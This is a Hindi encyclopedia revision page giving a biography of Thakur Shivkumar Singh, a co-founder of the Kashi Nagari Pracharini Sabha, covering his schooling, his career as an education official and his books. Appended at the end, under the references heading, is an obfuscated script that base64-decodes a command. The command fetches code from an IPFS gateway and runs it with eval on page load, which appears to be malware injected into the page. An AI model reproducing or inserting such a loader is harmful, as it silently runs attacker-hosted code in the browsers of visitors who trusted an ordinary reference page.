"ठाकुर शिव कुमार सिंह": अवतरणों में अंतर
गोविन्द राम (वार्ता | योगदान) No edit summary |
व्यवस्थापन (वार्ता | योगदान) छो (Text replace - "Category:लेखक" to "Category:लेखकCategory:आधुनिक लेखक") |
||
पंक्ति 21: | पंक्ति 21: | ||
<references/> | <references/> | ||
{{साहित्यकार}} | {{साहित्यकार}} | ||
[[Category:साहित्यकार]][[Category:लेखक]][[Category:साहित्य_कोश]] | [[Category:साहित्यकार]][[Category:लेखक]][[Category:आधुनिक लेखक]][[Category:साहित्य_कोश]] | ||
__INDEX__ | __INDEX__ | ||
__NOTOC__ | __NOTOC__ |
13:43, 14 अक्टूबर 2011 का अवतरण
ठाकुर शिवकुमार सिंह, (1870 -1968 ) 'काशी नागरीप्रचारिणी सभा' के संस्थापकों में से एक थे। आपने चंदौली के 'मिडिल स्कूल' से शिक्षा प्राप्त की थी। स्वर्गीय पं. श्री रामनारायण मिश्र और बाबू श्यामसुंदर दास जी के साथ मिलकर नागरी प्रचारिणी सभा का संगठन किया था तथा अन्य सहयोगियों के साथ इस सभा की उन्नति में लगे रहे थे।
शिक्षा
अध्ययन के समय तत्कालीन विद्वान श्री सुधाकर द्विवेदी तथा हिन्दी के सर्वप्रथम उपन्यासकार श्री देवकीनंदन खत्री आदि विद्वानों के संपर्क का इन पर गहरा प्रभाव पड़ा। दसवीं श्रेणी में उत्तीर्ण होने के बाद आपने लखनऊ के 'सी.टी.(C.T.) ट्रेनिंग कॉलेज' में शिक्षण कला का अध्ययन किया।
कार्यक्षेत्र
ट्रेनिंग के बाद आपने चुनार के एक विद्यालय में एक वर्ष तक प्रधानाध्यापक के पद पर कार्य किया। वहाँ अपने प्रेम, व्यवहार तथा अनुशासनशीलता के कारण आप बेहद लोकप्रिय हो गए। वहाँ के तत्कालीन अंग्रेज़ निरीक्षक ने आपकी प्रशंसा इलाहाबाद में शिक्षा संचालक से की, जिसके परिणामस्वरूप आपको राजकीय सेवा में ले लिया गया और आपकी नियुक्ति 'डिप्टी इंस्पेक्टर' के पद पर की गयी। इसके बाद आप इलाहाबाद की नगरपालिका की शिक्षा संस्था में 'सुपरिटेंडेंट' बनाए गए। आपने सभी स्थानों में अपनी कर्तव्यनिष्ठा, अदम्य साहस तथा उत्साह का परिचय दिया।
मुख्य उद्देश्य
भारतीय संस्कृति की रक्षा तथा हिन्दी शिक्षा का प्रचार आपके ये दो मुख्य उद्देश्य थे। ब्रिटिश सरकार ने आपको 'राय साहब' की पदवी प्रदान की थी। आपने वायसराय से मिलकर डिप्टी इंस्पेक्टरों के वेतनक्रम की वृद्धि करवाई थी। इससे आपको तो लाभ नहीं हुआ, किंतु अन्य पदाधिकारियों को बहुत लाभ हुआ। सरकारी नौकरी में व्यस्त रहते हुए भी आपका अध्ययन, लेखन तथा नागरीप्रचारिणी सभा की उन्नति का प्रयास करते रहे।
रचनायें
आपकी लिखी पुस्तकें 'कालबोध', 'हिन्दी सरल व्याकरण', 'आदर्श माताएँ', 'आदर्श पतिव्रताएँ', 'पंचम जार्ज की जीवनी' आदि विशेष प्रसिद्ध हैं।
|
|
|
|
|
टीका टिप्पणी और संदर्भ
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>